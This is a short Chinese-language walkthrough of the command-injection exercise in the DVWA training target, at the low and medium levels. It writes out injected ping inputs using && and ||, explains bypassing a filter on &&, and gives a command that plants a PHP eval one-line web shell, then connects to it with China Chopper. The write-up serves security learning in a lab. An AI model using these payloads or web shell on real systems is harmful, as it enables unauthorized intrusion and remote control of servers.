DVWA靶机之命令注入
command injection
命令注入是一种常见漏洞,通过攻击者拼接注入命令从而攻破漏洞,仅针对系统命令
low
web页面提示ping a device,我们提交一个IP地址,测试反应
输入127.0.0.1
得知此处的用处为Ping
我们在IP地址后添加查询命令:127.0.0.1 && pwd,查看结果
在页面回显的最下端,我们看到回显
/var/www/DVWA-1.9/vulnerabilities/exec
即页面文件所在的工作目录
既然能查看文件目录,也能进行增删改查命令的操作
插入一句话木马,并使用中国菜刀连接
PHP一句话木马:
echo '<?php @eval($_POST[123]);?>' > 123.php
插入一句话木马:
11 || echo '<?php @eval($_POST[123]);?>' > 123.php
使用中国菜刀连接:
http://192.168.19.135/DVWA-1.9/vulnerabilities/exec/123.php 123
medium
中级必然有一些安全策略,我们通过页面注入测试
测试语句:
127.0.0.1
127.0.0.1 && pwd
通过对比,得知在进行语句拼接时&&无法执行,应该是后台函数过滤了&&,我们通过使用||来拼接命令,完成一句话木马的插入
测试语句:
127.0.0.1 || pwd
插入一句话木马语句:
11 || echo '<?php @eval($_POST[123]);?>' > 123.php
使用中国菜刀连接